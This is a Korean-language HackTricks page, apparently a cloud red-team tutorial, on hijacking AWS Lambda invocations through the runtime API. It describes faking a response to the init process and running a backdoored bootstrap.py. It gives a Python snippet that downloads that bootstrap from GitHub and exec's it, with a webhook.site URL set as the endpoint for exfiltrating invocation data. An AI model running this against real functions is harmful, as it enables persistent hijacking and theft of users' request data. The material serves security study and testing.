AWS - Lambda 요청 훔치기
Reading time: 3 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Lambda 흐름
.png)
https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer는 컨테이너 외부의 프로세스로, init 프로세스에 호출을 전송합니다.
- init 프로세스는 포트 9001에서 몇 가지 흥미로운 엔드포인트를 노출합니다:
/2018-06-01/runtime/invocation/next
– 다음 호출 이벤트 가져오기/2018-06-01/runtime/invocation/{invoke-id}/response
– 호출에 대한 핸들러 응답 반환/2018-06-01/runtime/invocation/{invoke-id}/error
– 실행 오류 반환
- bootstrap.py는 init 프로세스에서 호출을 가져오는 루프를 가지고 있으며, 이를 처리하기 위해 사용자 코드를 호출합니다 (
/next
). - 마지막으로, bootstrap.py는 init에 응답을 전송합니다.
bootstrap은 사용자 코드를 모듈로 로드하므로, 사용자 코드에 의해 수행되는 모든 코드 실행은 실제로 이 프로세스에서 발생합니다.
Lambda 요청 훔치기
이 공격의 목표는 사용자의 코드가 취약한 요청을 처리하는 bootstrap.py
프로세스 내에서 악성 bootstrap.py
프로세스를 실행하도록 만드는 것입니다. 이렇게 하면 악성 bootstrap 프로세스가 요청을 처리하기 위해 init 프로세스와 통신을 시작하고, 정상 bootstrap은 악성 프로세스를 실행 중에 갇히게 되어 init 프로세스에 요청을 요청하지 않게 됩니다.
이것은 사용자의 코드가 정상 bootstrap.py
프로세스에 의해 실행되고 있기 때문에 간단한 작업입니다. 따라서 공격자는 다음을 수행할 수 있습니다:
- 현재 호출의 가짜 결과를 init 프로세스에 전송하여 init이 bootstrap 프로세스가 더 많은 호출을 기다리고 있다고 생각하게 만듭니다.
- **
/${invoke-id}/response
**에 요청을 전송해야 합니다. - invoke-id는 inspect 파이썬 모듈을 사용하여 정상
bootstrap.py
프로세스의 스택에서 얻거나, **/2018-06-01/runtime/invocation/next
**에 다시 요청하여 얻을 수 있습니다. - 다음 호출을 처리할 악성 **
boostrap.py
**를 실행합니다. - 은폐를 위해 lambda 호출 매개변수를 공격자가 제어하는 C2로 전송한 다음 요청을 일반적으로 처리할 수 있습니다.
- 이 공격을 위해, 시스템에서 **
bootstrap.py
**의 원본 코드를 가져오거나 github에서 가져와 악성 코드를 추가하고 현재 lambda 호출에서 실행하면 충분합니다.
공격 단계
- RCE 취약점 찾기.
- 악성 bootstrap 생성 (예: https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- 악성 bootstrap 실행.
이 작업을 수행하려면 쉽게 실행할 수 있습니다:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
자세한 내용은 https://github.com/carlospolop/lambda_bootstrap_switcher에서 확인하세요.
참고문헌
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.